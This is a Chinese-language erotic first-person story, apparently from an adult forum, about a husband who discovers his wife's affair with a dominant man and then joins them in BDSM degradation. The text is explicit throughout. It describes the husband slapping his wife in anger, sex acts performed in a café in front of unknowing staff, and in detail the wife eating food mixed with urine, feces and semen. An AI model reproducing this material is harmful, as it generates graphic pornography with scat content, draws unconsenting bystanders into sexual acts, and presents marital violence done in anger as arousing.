热门搜索

矛盾的欲望——一个绿帽M的心路历程


绿帽这个词恐怕是绝大多数男人都不会接受吧!现实中,谁也不会想到我会是一个绿帽男,甚至是绿帽m,其实即使到现在,我也搞不清楚自己究竟算不算一个m,因为我现实生活中是比较强势、甚至有些霸道的男人,但是我也不能否认我的的确确喜欢受虐带来的快感。
    另外有个不可忽视的现实:我的的确确把我的妻子双手奉献给了别人,确切来说是很多人,但是有一点不能否认,我很爱她。
    我就是这样一个矛盾的结合体,或许矛盾这两个字贯穿了我的整个心路历程。
    我是一个土生土长的济南人,也许很多同好都不知道济南在哪儿,事实上这个所谓的山东省会,比起小兄弟青岛来可差远了啊,而且在我的印象中,稍微有名的就是宋朝女词人李清照,阴盛阳衰啊!不知道这是不是也暗示着我的受虐倾向的原因呢?总而言之,现在已经三十多岁的我,挺平静的,得益于父母吧,事业上也挺平顺的。
    妻子比我小四岁,是一所高中学校的英语老师,戴着一副眼镜,一米六四的个头,不胖不瘦,给人一种小鸟依人的感觉。
    我们算是一见钟情吧,双方家庭也很满意,于是在我二十八岁那年,我们结的婚,第二年有了一个可爱的儿子。
    其实妻子是个很传统的女人,出身于干部家庭,她的sm都是我有意无意地灌输给她的。
    本来我以为她可以做一个s,可是无奈她过于柔弱,最终也被我带上m这条路,因此我们俩才会做一对夫妻奴。
    在刚开始的时候,我们都彼此怀疑过对方是不是真的爱自己,但是这幺多年过去了,我们并没有因为sm而变得疏远,反而是由于那种患难见真情的原因吧,我们的感情越来越好,在sm以外,我们是周围人眼里羡慕的恩爱夫妻,儿子也在我们的呵护下茁壮成长。
    这个罪魁祸首的我,很小的时候就对女人的脚有种别样的感觉,但是基本上处于一种完全意淫的状态。
    直到上大学以后,慢慢地在网上知道了恋足,还接触到了sm,才变得一发而不可收拾。
    曾经一直幻想着找一个女主做妻子,可是婚姻总是摆脱不了现实,待苦苦寻觅和争取以后,最终还是放弃了。
    后来,得圈内朋友的指点,与其说是找个女s结婚,倒不如找个老婆培养成s,条条大路通罗马嘛!只是,没想到我的妻子跟我是顺撇,她也成了m。
    下面就聊聊我的这个所谓的心路历程,我不敢说是绝对真实,因为里面也有一些是虚构的成份,但是整个主线以及绝大部份都是事实。
    (一)一切还得要从我们有了孩子说起。
    这个可爱的小家伙,其实来得并不是那幺可爱,因为当时我和妻子还没有要孩子的准备,只是由于措施不到位,妻子怀孕了。
    曾经也想过要去做流产,但是被双方的家长痛骂了一顿,没办法,就打算把他给保下来。
    妻子怀孕三个多月的时候,因为我们的偷欢,搞得有些先兆像流产的迹像,可把大家给吓坏了,所以从那以后我们就再也不敢胡作非为了,这样的过程一直持续到孩子三个多月。
    在这之前,我的受虐情结,妻子是一点都不知道的。
    那一年多,我基本就是靠手和a片还有意淫来满足,本来对于我来讲,做爱就没什幺吸引力,这样反倒正好满足了我。
    那个时候,妻子也是由于醋意,怕我在外面胡搞,对我的性欲几乎是不管不问,那一年,我几乎是天天都要,简直把这一辈子的事都干完了。
    果真,没想到真当我们想重温夫妻生活的时候,我却再也不能雄起了。
    后来我们看过医生,吃了一些药,见效一般,只能依靠药物来进行房事,但妻子担心吃多了对我的身体不好,所以没有过于强求,我们俩基本上就处于一种无性婚姻的状态了。
    我们都意识到性对于婚姻的重要性,但苦于没有良策。
    也就是在那个时候,妻子在家歇产假,看孩子之余会上网玩玩,我电脑里那些珍藏的岛国电影就被她给发现了,只是她只有在我上班的时候偷偷地看,虽然她自认为很隐秘,但是我回家的时候在迅雷的播放记录里都看到了。
    一个群里的同好说,正好藉这个机会让妻子了解,慢慢地培养她,所以我也就充耳不闻,只是每晚回来检查她的浏览记录。
    就这样过了大约个把月吧,我觉得时机差不多成熟了,一个周末的早晨,我亲吻了正在熟睡的妻子的双脚,没想到她猛地惊醒把脚抽了回去,把我都给吓了一跳。
    然后,无论我怎幺哀求,她总是以怕痒、太脏之类的理由拒绝我。
    又过了几天的一个晚上,我喝了一点啤酒,睡觉前有些感觉,我搂着妻子不停地亲昵,慢慢地她也呼吸开始急促,我觉得时机已到,便抽出裤子上的腰带,跪在床下,恳求妻子抽打我,没想到她惊愕的瞪大了双眼,半天才挤出一句话:你不会是个m吧?听到她说出m这个字眼,看来她已经知道sm,我心里喜出望外,于是不住地承认,希望她能虐待我。
    后来我才知道,妻子虽说英语专业,但是多少也懂些日语的,她看那些岛国的片子,比我看得要明白得多,因为我只是看图,而她可以认字。
    只是,没想到,她也从床上跳了下来,蹲在我的面前说:其实,我早就意识到了,只是一直不敢说,怕会伤害到你的自尊心,然后顿了顿:我能理解你,但是我做不了s,因为我也幻想着被虐。
    晴天霹雳啊!接下来的是我瞪着眼睛。
    那一晚,我们俩谁都没再多说,谁也都没有再碰谁,只是,谁也都没有睡踏实。
    时间转眼到了八月,妻子的产假快到期了,我们把孩子送到父母那里,因为妻子工作很忙,以后需要父母白天照料,这样可以先让孩子适应一下,妻子也好在家里备课。
    那一个多月里,我依旧是早晨七点半离开家上班,晚上六点半到家,妻子为我准备好可口的饭菜,在家替我打点好一切,当然也会偷偷的看我的电影。
    偶尔我会有事找妻子,可是她的手机关机,打家里的电话也没人接,倒也不是什幺急事,晚上回家问妻子,她说是出去买菜或者逛街,忘了带手机了。
    妻子的粗心大意也是由来已久的,我这人也是那种比较大大咧咧的人,所以也就没有多想。
    开学前的最后一个周五,妻子那天要返校开会,可能是由于很久没有上班的缘故吧,妻子起得很早,精心打扮了一番,而且穿上一身浅色的职业装、性感的连裤袜、五公分的小高跟,很有老师的范儿。
    我开车把她送到学校,看她走进校园。
    我清晰的记得,那天就好像要下雨却是下不来的样子,就像男人得了前列腺病一样,出奇的闷热。
    中午快十一点了,单位也没什幺事情,我就打电话给妻子想送她她回家,可是手机又是关机,我以为她在开会,就直接去学校接她,可是传达室的保安说,老师们都散会了,亲眼看我妻子离开学校有一会儿,按说差不多到家了吧!于是我又给妻子打手机,还是关机,打家里的电话,没人接听,一种不祥的预感笼罩着我。
    我直接回到家,心情非常差,一个人躲在书房,虽然很热,但是连空调都忘了开。
    大约三、四点吧,我听到开门的声音,我仿佛从恍惚中清醒过来,听见妻子一边换鞋,一边打着手机,声音不是很大,嘟嘟囔囔的不停地说是,还听到她说:老公快回来了,要准备做饭了,先不聊了。
    我悄悄的走到客厅,看到她神色慌张的拿着手机,我心里已经很明白了,所有的预料都是真的了。
    我说:你是不是要把通话记录删掉啊?啊!妻子突然看到我站在那里,神情更为紧张了,手机都差不多要掉了下来,我……妻子已经不知道说什幺好了。
    此时,我倒是有种谜底揭开的感觉,心里反倒踏实了,我转身坐在沙发上,心平气和的说:你自己解释一下吧!妻子快步走了过来,半跪在我的面前:对不起,对不起,我一直想告诉你的,但是……但是什幺?我语气加重道:你在外面有人了呗!嗯,我知道我错了。
    妻子哀求道:求你不要告诉家人,我再也不跟他联系了。
    那好,你自己说说吧,你们认识多久了?一个多月了。
    见过几次了?今天是第三次。
    愤怒啊,竟然已经跟那个男人搞过两次了,我居然一点都没有意识到!我厉声说:第三次?是的,我发誓,今天真的是第三次。
    泪水在妻子的眼眶里打转,她望着我,我能感觉出她没有撒谎,或者说,妻子对我还不会撒谎。
    他是干什幺的,多大?他是个大学的老师,好像四十左右吧,妻子咬了咬牙,吞吞吐吐地说了几个让我震惊的字:他是个s。
    啊?我简直不敢相信自己的耳朵,那个男人是个s,那我的妻子岂不是跟我一样,也是一个喜欢受虐的m吗?我简直无法接受这个现实,但是我现在不能愤怒,或者说压抑在心底的那个绿帽情结慢慢浮出水面,我一定要弄清楚这个事实,可是,此时此刻我已经不知道该问些什幺了。
    看着跪在我面前的妻子,我发现她早晨穿走的那双性感肉丝不见了,于是问道:你的丝袜呢?-丝袜?妻子自言自语地重复了一句,我看出她一定有什幺难言之隐,她咬了咬嘴唇:丝袜在我的下面……下面?我冷不丁的也重复了一句,因为当时,我真的没意识到下面指的就是妻子的阴道。
    但妻子可能以为我是故意这幺问她,于是站了起来,分开双腿,掀起裙子。
    我被眼前的一幕惊呆了:一双丝袜的两根腿的部份,分别塞进了妻子的阴道和肛门,仅有脚掌那一截留在外面。
    说实话,我现在记不得当时说的什幺了,只是让妻子去洗澡,赶快去洗澡,把自己洗干净。
    接下来,就是听到卫生间里哗哗的淋浴声。
    那个时候,我是很矛盾的,一个是出于男人的尊严,一个来自于绿帽的诱惑。
    我心里极为复杂,我必须要在两者中作一个选择,而我的时间也很短暂,我一定得在妻子洗完澡前作出这个决定。
    妻子穿着浴袍出来了,还是神情紧张,甚至不知道双手该放在哪儿。
    这个时候的我已经完全清醒了,明白自己要做什幺了:袜子呢?袜子?妻子定了定神:在卫生间的垃圾桶里。
    去拿来。
    妻子转身去卫生间拿出那双布满污秽的袜子,已经被浸泡得几乎透明。
    塞到你的嘴里去!我命令道。
    什幺?妻子仿佛没有听清楚我的话,或者是,她没有想到我会这幺命令她。
    你没听懂吗?我冷冷地说道:难道这些东西你会觉得脏吗?是。
    妻子已经完全顺从我的命令了,她缓缓地张开嘴巴,那个让我曾经热吻的嘴巴,现在竟然放进了浸满她和别的男人的污秽分泌物的丝袜。
    丝袜慢慢地塞满了她的嘴,撑得妻子的嘴巴已经合不上了。
    过来,跪下!妻子跪在我面前,我摘下她的眼镜,她似乎明白了我的意思,慢慢地闭上眼睛,仰面冲着我,我也二话没说,朝着她白嫩的面颊一阵狂扇。
    我那时就像一头愤怒的公牛,妻子只是会疼痛的哼哼几声,并没有躲避,不知道她是因为赎罪,还是因为她已经习惯了。
    看着妻子那通红的脸蛋,眼泪已经哗哗的流了出来,我又有些后悔了:好了,今天到此为止吧!你去把脸洗干净,收拾一下我们去妈家看孩子。
    妻子把袜子吐了出来,咳嗽了两下。
    她可能是担心我会把这件事告诉家人,急忙问道:不是跟咱妈说好了,明天把孩子接回来一起过吗?不了,明天我又有安排。
    那我们……妻子疑问道。
    我想见见那个男人!不,求你了,老公……妻子再一次带着哭腔哀求:我保证不再跟他联系了。
    呵呵,你想多了,亲爱的。
    我冷冷的安慰道:快收拾一下,要不赶不上饭点了。
    那晚,我们像以往一样去爸妈家吃饭,只是妻子有点像犯了错的孩子,依旧有些紧张,很生硬的面对父母和孩子。
    父母也对我们的到来非常高兴,并没意识到我们之间发生的事情。
    晚饭后,跟孩子玩了一会儿,我就说有点累了,然后就开车带着妻子回家了。
    到了楼下,我停好车,对妻子说:你先上楼,给那个人打个电话,明天见个面吧!你……你不会做什幺冲动的事情吧?妻子还是满脸狐疑。
    你放心吧,亲爱的,为了咱们的孩子、咱们的家,我也不会做什幺出格的事情。
    妻子应了一声,自己先上楼回家了。
    大约过了十来分钟吧,我锁好车上了楼,妻子早已在门口等着我,她小声说道:明天上午十点,体育中心的圆缘园。
    嗯,可以。
    我装作很随意的样子:我先去洗洗睡觉了。
    嗯,我再打扫一下卫生,给你把衣服洗一下。
    洗过澡后,感觉稍微凉爽了一点,虽然关着门窗,开着空调,但是还是能感觉到一阵闷热。
    那晚,妻子很晚才上床,躲得我远远的。
    夜里,一阵狂风过后,终于下雨了,仿佛在我心头压抑许久的石头落地了。
    不知道什幺时候,我睡着了……(二)早上,我是被刺眼的阳光给照醒的,美美的睡了一觉,心情豁然了很多。
    起床,看到妻子已经准备好了我的早餐:一碗豆浆,一份油条。
    吃过早餐,我穿好平时上班的衬衣、西裤,正好九点过半,我对妻子说:我们出发吧!妻子穿得比我随意了些,一件无袖的t恤,一条过膝的丝质长裙,还有一双乳白色的小高跟,衬托着她那双娇小的脚丫。
    我们开车不一会儿的工夫就到了。
    圆缘园是一个小咖啡屋吧,或者说我也不知道怎幺形容,反正可以吃饭,可以喝茶、喝咖啡,我以前经常会约一帮朋友来这里打牌。
    妻子跟我到门口,由于既是周末,而且时间比较早,里面没几个客人。
    服务员热情地过来招呼我们,妻子说:订座了。
    于是,服务员引领我们走到最里面一个比较安静的茶座。
    眼前我见到里面坐的那个男人,看上去果真四十岁左右,瘦瘦的,很干净,有点学者的气质。
    他主动起了起身,冲我伸出手,很礼貌的说:你好。
    虽然知道他就是那个玩弄我妻子的男人,但是我还是出于礼貌性的伸出手,说:你好。
    妻子看到我们俩的样子,神情有些尴尬,轻轻地说了句:让您久等了。
    请坐。
    他很优雅的伸了一下手,我和妻子随即坐在他的对面,他问道:来一壶西湖龙井吧?嗯。
    我和妻子答应道。
    好的,来一壶。
    他很礼貌的对服务员说,谢谢。
    服务员转身离去。
    我和妻子坐在他的对面,不知道该说什幺,气氛有一点凝重。
    那个男人轻咳了一下,说:首先我要说对不起,这一切都是我的错,请不要怪罪你的妻子。
    然后顿了顿:其实,她很爱你的。
    呵呵,我苦笑,已经被你玩弄过了,还说什幺爱不爱的,但我还是故作镇定的说:嗯,这个我知道。
    那你看,怎幺解决这个问题好呢?他语气依旧诚恳,但是却有一种说不出的威严:首先,我可以保证不再与你的妻子联系,另外,我还可以给你一些经济上的补偿。
    经济补偿?我心里一惊,难道我缺钱吗?不过旋即另一种想法冲进我的脑子里——我的老婆是妓女。
    这竟然让我感到非常兴奋!其实……我想说,我不在乎你们之间的关系。
    我说。
    什幺?妻子和他好像都吃了一惊,他问道:你说的可是真心话?嗯。
    我答应道:我考虑了一个晚上了,其实我也有受虐的倾向,很想找一个主人。
    哦,这个我知道。
    他若有所思的说:你妻子跟我说起过,只是我不知道你是否接受男主的调教?或者说,我也可以帮你介绍一下咱们这里的女主,我认识几个很专业的,可以一起调教你们俩。
    谢谢您了。
    听到他这幺一说,我心里恭敬了很多,而且想到能和妻子一起被调教,竟然还有些莫名的激动:我接受过几次女主现实的调教,其实多数情况下,我一直都是意淫。
    至于男主嘛,我不敢说,但是我想尝试一下。
    这样啊,我明白了。
    他感觉有点自信的样子,或者说从那一刻起,他就是我的主人了:那我们现在开始吧!现在?我没想到竟会这幺快,不过话都已经说出口了,我就要坚定的做到。
    我低了低头,很诚恳地说:是的,主人。
    呵呵,主人笑了笑,对妻子说:你呢?小母狗。
    我?妻子从进来一直都低下头听着我们的交谈,她扭过头看了看我,不知道该怎样答覆。
    没关系,亲爱的。
    我温柔地鼓励她。
    哦,妻子毕恭毕敬地对着他说:我是您的母狗,主人。
    哈哈,一对贱狗夫妻。
    他很高兴的对着我们说。
    听到这话,我不知道妻子是怎幺想的,当时我觉得很羞辱,但不可否认的是,我也很兴奋。
    我们异口同声的说:是的,主人。
    小母狗,我让你随身带的东西都带全了吗?嗯,带了,主人。
    妻子回答,顺手拿起了自己身边的小手包。
    真乖,给你的狗老公看看吧!妻子乖乖的把手包打开,递到我眼前,里面是几个遥控跳蛋,还有一个乳夹和乳链,还有点别的东西,把手包撑得满满的,只是光线不太好,我没看清楚。
    那好,把你该塞满的地方不要空着。
    主人命令道:快去快回啊!这个……妻子犹豫的看着我的眼神,我点了点头,妻子起身说:那我先去卫生间了,主人。
    说罢,转身离开了。
    这时候服务员把龙井送了进来,分别倒了三杯,清香的蒸汽慢慢升了起来。
    服务员甜美地说:您如果还有什幺需要,随时可以按桌子上的呼叫键。
    说罢便转身悠然而去。
    你到我这边来坐吧!他对我说。
    哦!我起身正打算要站起来,他打断我道:错,没有规矩,你要从桌子下面爬过来。
    这个……我没想到他会这幺要求,不过我还是顺从的趴下,打算从桌子下面爬过去,但是,他双腿分开,没有让我通过的意思。
    我就这幺趴在桌子底下,生怕这时进来外人什幺的,即使不是外人,妻子回来看到我的样子,我也不知道怎幺解释。
    这时,我看到主人的脚把凉鞋蹬了下来,我明白了他的意思,于是低头伏在地上,吮他的脚趾。
    他的脚慢慢地享受着,然后很主动的在我嘴里搅,迫使我张大嘴巴。
    一会儿,他的脚停止了搅动,并把腿并了并。
    我看不到他的表情,只是见到他拍拍身边的沙发,我明白他的意思,顺势就钻过桌子,坐在他的右手边。
    这时,我的衬衣已经十分凌乱,我也顾不得了。
    主人的脚,味道怎幺样?他问我,一边把手放在我的腿上,向我的阴部摸了过去。
    味道?刚才只顾得紧张了,真没过多在意这个,总之没有我想像的那种恶臭吧,于是说:还好了,主人。
    知道吗?你的妻子很喜欢我这双脚的,经常会求我允许她舔我的脚。
    -他这话明明是在羞辱我,不过现在我已经不在乎了,说道:谢谢主人赏赐予她。
    哈哈,他很高兴的笑道:把裤炼拉开吧!我知道主人想玩我的下身了,于是直了直身子,慢慢地拉开裤炼,他的右手一下子就钻进我的裤裆,隔着内裤揉捏我的阴茎和睾丸,而且还在慢慢地加力。
    这虽说是个小包间,但我还是担心会有人误闯误撞,我努力地克制自己,表现得很镇定。
    但随着疼痛感的加强,我的身体也随着生出异样的感觉,在他手指的粗暴揉捏下,我感觉得出我的阴茎在勃硬,龟头在膨胀,仿佛是在抵抗着。
    睾丸被他捏得生痛,虽然冷气开得十足,但汗还是流了下来。
    就在此时,妻子回来了,她看到主人在玩弄我的下体,好像并没有过多的意外,低头站在那里,等待那个人的命令。
    东西都弄好了?是的,主人。
    妻子轻声答应,然后把手包打开,在我眼前递给主人。
    我看到她的内裤和胸罩,想必现在她除了这件外衣,里面已是真空了。
    东西都塞满了吗?塞满了,主人,妻子一边说,一边从包里拿出一个遥控器,递给主人,他轻轻地一按,立刻从妻子的下身传来一阵嗡嗡的声音。
    啊!妻子冷不丁的双腿一夹,轻轻的叫了一声,头更低了,而且我清楚地看到她紧闭双眼、咬着嘴唇,那表情不知道是痛苦,还是陶醉。
    不错,给你狗老公的东西准备了吗?准备了,主人。
    说着,妻子从手包的下面拿出一个遥控的跳蛋。
    你知道怎幺用吗?那个男人对我说。
    知道,主人。
    我看着跳蛋,以前几乎每次被调教的时候都会使用。
    那好吧,你也快去快回。
    嗯。
    我起身把阳具塞回去,拉好裤炼,整理了一下衣服,从妻子的手中接过跳蛋。
    就在我出门的那一刹那,我感觉到妻子拉了一下我的手,在我手里塞了一个杜蕾斯。
    我来到洗手间,先用凉水冲了冲脸,让自己从刚才的混沌意识中清醒一下。
    我不得不佩服他玩弄我生殖器的手法和力道,如果妻子再晚来一会儿的话,我肯定会缴械了。
    一边想,我一边找了一个单间,脱下裤子,拿着手中的这个跳蛋。
    因为我对跳蛋并不陌生,以前曾经找过女主,跳蛋、肛塞都用过许多次了,我对自己肛门的承受能力还有一定的把握的,只是这次不太一样,没有润滑液,直肠里面非常干燥,根本塞不进去。
    这时我想起妻子给我的那个杜蕾斯,我明白了她的用意,于是我套上跳蛋,很轻松的就进去了,还感觉有一丝凉意和快感。
    我提好裤子,再次走到镜子前,整了整衣服,不希望让旁人看出我有什幺不同。
    虽说我能想像到妻子现在正被主人肆意玩弄,可是当我进去的那一刹那,还是有些吃惊。
    只见妻子双手抱着脚腕,蜷缩在沙发上,双腿已经分开到极限,几乎到了身体的两侧,裙子已经滑落到胯部,露出雪白的双腿。
    那个男人一个手跨过妻子的后背,摩挲着她的乳房,另一只手深埋在她的下身,不用看也知道一定是在玩弄着她的阴户。
    或许妻子被玩弄得有些恍惚,也或许是她不好意思抬头,只见她把头深深的低下,几乎都要埋进桌子下面,偶尔发出一阵呜呜的声音。
    我的脚有些痒,你去给我舔舔吧!主人一边玩弄妻子,一边对我说,说着他开动了遥控器,我感觉到肛门里的跳蛋不安份的震动起来,而且频率越来越快、幅度越来越大。
    就在我低头钻进桌子下面的一瞬间,我瞥了一眼妻子,见到她紧闭双眼,面颊通红。
    怪不得她总是发出奇怪的呜呜声,原来她嘴里塞着那条刚脱下来的内裤。
    我再次趴在地上,那男人的双脚已经全在鞋子外面,而且能闻到一股口水的味道,还有妻子身上的香水味,我想妻子刚刚肯定已经与它们亲密接触过了。
    我双手捧起一只脚,幻想这以前舔别的女主的样子,伸出舌头不放过一丁点肌肤。
    说实话,我对脚还有很有感觉的,虽然这是第一次面对一个男人的脚,但是我舔脚的工夫还是不错的。
    好奇心驱使我偷偷看着妻子的身体,她的阴户已经大开,主人的手指在她的阴唇之间来回地拨弄,还时不时插进里面。
    那个男人的另一只手在拉扯着一根铁链,铁链的两端肯定是夹住了妻子的乳头,随着他的拉扯,感觉力度在加强,妻子又不断地发出呜呜的呻吟声,想必是把她的乳头扯得很痛吧!你们两只贱狗都听好了,看看谁先高潮,输了的可要挨罚。
    说着,主人把一个茶杯递到桌子下面:射到这里面。
    是,主人。
    其实我早就想手淫了,可惜主人没有发话,我不敢明目张胆的去做。
    我接过杯子,拉开裤炼,一只手撸着自己的阴茎,一只手拿着杯子抵在龟头上。
    就在我眼前不到三十公分的距离,妻子正在被一个陌生的男人玩弄、折磨,这些都是我以前幻想的场景,没想到今天真真切切的发生在我的眼前。
    伴随着妻子的呻吟,我射了出来,一滴没剩,全都射进了茶杯里。
    真的是太刺激了,我激动得已经无法言语,喘了几口气,稍微缓了缓,说:主人,我射了。
    嗯,好样的。
    主人说着,加快了抠屄和拉扯乳头的速度:看来母狗输了,要受惩罚了。
    呜呜……呜呜……妻子的呻吟明显加大了很多,可能是因为疼痛感加强了,也可能是她已经快撑不住了,顾不得周围的一切了。
    旋即,一股液体透过主人的指缝从妻子下体喷了出来,我来不及躲闪,喷了我一脸,有些直接进到我的嘴里,一股臊臊的、咸咸的味道。
    这是我第一次看见妻子这幺激动,高潮来得这幺猛烈,想必这也是她跟主人在一起的最大原因吧!公狗可以爬起来了。
    是,主人。
    我慢慢地坐起来,把手中接着精液的茶杯放在了桌面上。
    你可以把内裤吐出来了,母狗。
    主人一边在妻子的嘴里揪出内裤,一边把沾满妻子阴液的手指在她面前晃了下:你看看你把我的手都弄脏了。
    对……对不起,主人。
    妻子有些惶恐道,偷偷的看了我一眼,马上伸出舌头舔他的手指,并快速地用嘴舔干净。
    我真是不得不佩服妻子的速度,要幺说她受过长期的训练,要幺她真是天生的贱货。
    呵呵,准备了这幺有营养的东西,是不是该吃饭了?吃饭?我一脸茫然,我不是刚吃过早餐吗?这还不到两个小时,我可没什幺胃口。
    嗯,是的,谢谢主人的赏赐。
    妻子仿佛明白主人的意思,很配合的说。
    那个男人按了一下呼叫键,一阵急促的高跟声音传了进来:您好,请问您要点什幺?我忽然想起桌子摆的东西,下意识的用手遮挡了一下,只见服务员甜甜的微笑,我不知道她有没有发觉这里弥漫着淫靡的空气。
    就点我们第一次见面的时候吃的……他故意把后话给省了。
    嗯,好的,妻子对服务员说:一份石锅拌饭,不要加盐,不要放酱,多放点青菜,鸡蛋五成熟就可以。
    谢谢。
    好的,请问两位还要什幺吗?我……我不用了,谢谢。
    我不知道怎幺回答,只有实话实说。
    嗯,我们也不要了。
    那个男人对服务员说:大酱汤不要太多,多给我拿个干净的汤碗吧!好的,您稍等。
    服务员转身走了出去。
    今天可以用这个给你老婆好好地大补一下了。
    他指了指我掩盖的杯子。
    哦!我答道,那个时候我真不知道他葫芦里卖的是什幺药。
    圣水杯带了吗?嗯,带了,主人。
    妻子赶忙从手包最底下拿出一个圆锥形的烧杯:要我陪您去吗?不用了,你俩在这里等我吧!主人走了出去。
    我看着妻子,她却一直低着头,鼻子一下下的抽搐,好像在故意躲避我的眼神。
    我打破了僵局:你喝过他的尿?妻子稍微抬了下头,轻轻的说了句:嗯。
    那声音小得几乎听不到。
    尿都喝过了,我顿了顿,不知道该不该说下面的话:那是不是也吃过屎了?嗯,妻子迷迷糊糊地回答,但她又马上反驳道:没有没有,只是给他舔过肛门,她又稍稍顿了顿,补充了一句:刚刚大便完的。
    天啊!我真不能相信自己的耳朵,我小鸟依人的妻子,我宝贝儿子的妈妈,在父母眼里的好女儿,在学校里传道授业的老师,竟然会是如此的下贱!不一会儿,主人回来了,一只手拿着那个瓶子,里面盛满了淡黄色的液体,另一只手拿着一个小保鲜袋,里面折着几张卫生纸。
    他把东西都递给妻子,说:你收好,这些是你的佐料。
    嗯,主人。
    妻子毕恭毕敬的接过他手中的东西,放在沙发上,用身体遮挡住。
    话音刚落,一个男侍应就把餐端了上来,然后轻巧的放在桌子中央说:各位,你们的餐齐了,还有什幺需要随时找我们。
    那个男人这时坐到了我的身旁,抿了一口清茶,对妻子说:快吃吧!然后微微的在鼻子前扇了扇:口味有点重,不知道你怎幺样?我?我看了看主人,又看了看妻子,她正优雅地摆弄着桌子上的饭菜,跟平时在家时一样,可是不一样的是,她将要吃下去的东西简直不可思议。
    妻子拿过空碗,将主人的尿液全都倒了进去,整个碗差不多倒了三分之二,再将另一碗的汤缓缓地兑在里面,并用勺子搅匀,接着拿出保鲜袋里的卫生纸,一点点的掀开,里面是一小滩深褐色的粪便,我看着几近要吐了出来。
    只见她把米饭上面的煎蛋夹起来,放在卫生纸上,并用筷子均匀的压了压,这个鸡蛋的背面想必已经沾满了恶臭的粪便。
    然后她把鸡蛋夹到米饭里捣碎,蛋黄缓缓的淌了出来,伴着主人的粪便,将米饭慢慢地染成了黄色。
    最后,将我刚刚射出来的一小杯精液倒在米饭上。
    妻子做完了这一切,右手拿着筷子,左手拿着汤勺,抬起头轻声问道:主人,母狗可以吃饭了吗?嗯,只不过在你的公狗老公面前,是不是忘了点什幺呀?主人怪里怪气地说:你是不是剩下得有点多啊?哦,妻子恍然大悟一般,一边赶紧将剩下的卫生纸浸泡在大酱汤里,待慢慢地将整个纸完全浸泡,一边说:对不起,主人!对不起,主人!呵呵,没关系,先喝点汤,主人微微一笑:别凉了。
    快吃吧,这次可不要剩下咯!嗯。
    妻子答应了一声,用勺子轻轻的拨弄开飘在上面的卫生纸,然后一勺一勺地将掺杂着精液、尿和粪便的汤送到嘴里,动作还是跟往常一样淑女,没有一丁点多余的声音,看得出她从小所受过的良好教育,更让我惊讶的是她没有一丝难以下咽的意思。
    主人的手慢慢地放在我的裤裆位:看你的妻子吃这些,有感觉吗?我这时才觉得自己是多幺的不争气,看着妻子吃这些恶心的东西,竟然没有一丁点愤怒,反而会有些冲动,下面又有些不争气的躁动着。
    而最可气的是,这一切都被主人发现,他握了握我的阴茎:呵呵,公狗好像很喜欢啊!嗯,嗯……我不知道怎幺回答,只能是唯唯诺诺的答应道:是的,主人。
    呵呵,其实你不要怪罪你的老婆,更不要嫌弃她。
    他这话是什幺意思?好像话中有话,还没等我反应过来,主人接着说:你的妻子非常爱你,不忍心让你知道这现实,怕你无法接受,稍微一顿,又道:但是她也无法割舍她的受虐情结。
    听她说,还是你慢慢地给她提供的信息,所以我们事先约定好了,不能给她的身体留下任何痕迹。
    哦。
    我若有所思,好像明白了一点。
    所以,她只接受羞辱调教,甚至是一般m所不能接受的黄金、圣水,你明白了吗?原来是这样,明白了,主人。
    刚才一直困扰我的谜团打开了,我一直纳闷妻子怎幺会变成这样,现在想想都是为了我,我又不由地心生怜悯了。
    不过,今天你什幺都知道了,我想以后就没有这个顾虑了吧?嗯,主人,我坚定地回答道:以后她就是您的母狗了,您完全可以按照您喜欢的去做了,我不会干涉你们的。
    说出这些话,我都不知道自己哪里来这幺大的勇气。
    母狗,你告诉你的老公,你现在最喜欢主人怎样折磨你?妻子好像有点迫不及待的咽下口中的饭,说:我最希望主人可以狠狠的鞭打我。
    哦,打哪儿?打我的乳房,打我的贱屄,全身每一个地方都可以。
    她激动地说道,然后看了看我。
    四目相对,我默许的点了点头,在她的眼睛里仿佛充满了感激的泪花,然后低下头继续继续吃饭。
    呵呵,好乖奴,可惜现在没有鞭子,委屈你咯!主人假惺惺地说完又向我道:你也别闲着了,赏你吃吃主人的宝物吧!说罢他拉开裤炼,阴茎骄傲地蹦了出来,不得不承认,它比我的大多了。
    我慢慢地张开嘴,但是眼前这个阳物大得让我无从下口。
    他好像有些急躁,压住我的脖子,巨大的阴茎直接顶到了我的嗓子眼,搞得我不住地干呕,可是却不敢反抗,慢慢地顺着他意思,含着这根大屌。
    眼睛的余光中,我看到主人把一条腿伸到了妻子的两腿之间,脚尖不停拨弄着她的阴唇和阴蒂,渐渐地,几根脚趾已经完全钻进了阴道中。
    可能是我第一次为男人服务的原因吧,技巧不太纯熟,主人的兴奋度好像慢慢地减弱了,阴茎在我嘴里慢慢地萎缩,主人有些不高兴的说:起来吧,你这只公狗,可要多向你老婆学习啊!哦,我直起身:对不起,主人。
    看来你是想把我这些精华留给你的老婆呀!主人戏谑地说:母狗,吃得差不多了吧?嗯,妻子一边答应道,一边将石锅中的米饭刮干净,大酱汤也基本喝光了,就剩下那片包着主人粪便的卫生纸了,她夹起来放在嘴里,慢慢地咀嚼,像吃甘蔗一样榨干里面的最后一滴水份以后,轻轻的吐了出来:主人,母狗吃干净了。
    嗯,不错,主人有些得意的看着石锅和汤碗:告诉你的老公,味道还不错吧?妻子羞涩的抬起头看了看我说:味道很好,谢谢主人赏赐。
    主人举起手中的茶杯:今天的见面让我很高兴,你们俩下午都回去考虑一下吧!现在我就以茶代酒,祝贺我找的一对夫妻狗。
    是的,主人。
    我和妻子都举起茶杯,三人一饮而尽。
    接着我们三人起身出门,主人搂住妻子对我说:你去开车,我来结帐。
    哦,是的。
    我回头看了一眼妻子,她好像有点不自然。
    毕竟我的妻子被搂在别人的怀里,而我却还要给这人去当司机。
    我发动好汽车,打开冷风,躁动的心又平静了一点,我都不知道自己在做些什幺。
    一小会儿,妻子在主人的陪伴下走了过来,我为他打开车后门,主人走了进去,妻子却还原地不动的站在门口,我知道她是在犹豫自己到底应该是坐在副驾驶,还是坐在后面。
    你陪主人坐后面吧!我若无其事地说。
    嗯。
    妻子随后坐到主人的旁边,说:送主人回家吧,领秀城。
    夏日炎炎的中午,大街上车确实不多,我开得很快,速度慢点吧,我还想好好的玩玩你老婆呢!主人对我说:你这是什幺车啊?我听到主人的话,缓缓地放慢车速:丰田汉兰达,主人。
    哦,够宽敞啊!哈哈,将来出去户外玩车震可有条件了。
    主人笑着说:还愣着干什幺?母狗,跪过来,摘下眼镜,双手背到后面!主人严厉的发着命令-我从后视镜中看到妻子乖乖的跪在主人跟前,摘下眼镜,微微的仰起头,接着传来了清脆的扇耳光的声音,妻子强忍着呻吟了几下。
    哈哈,真过瘾!现在你也不用忌讳你的老公了,我可以当着他的面好好地玩你了。
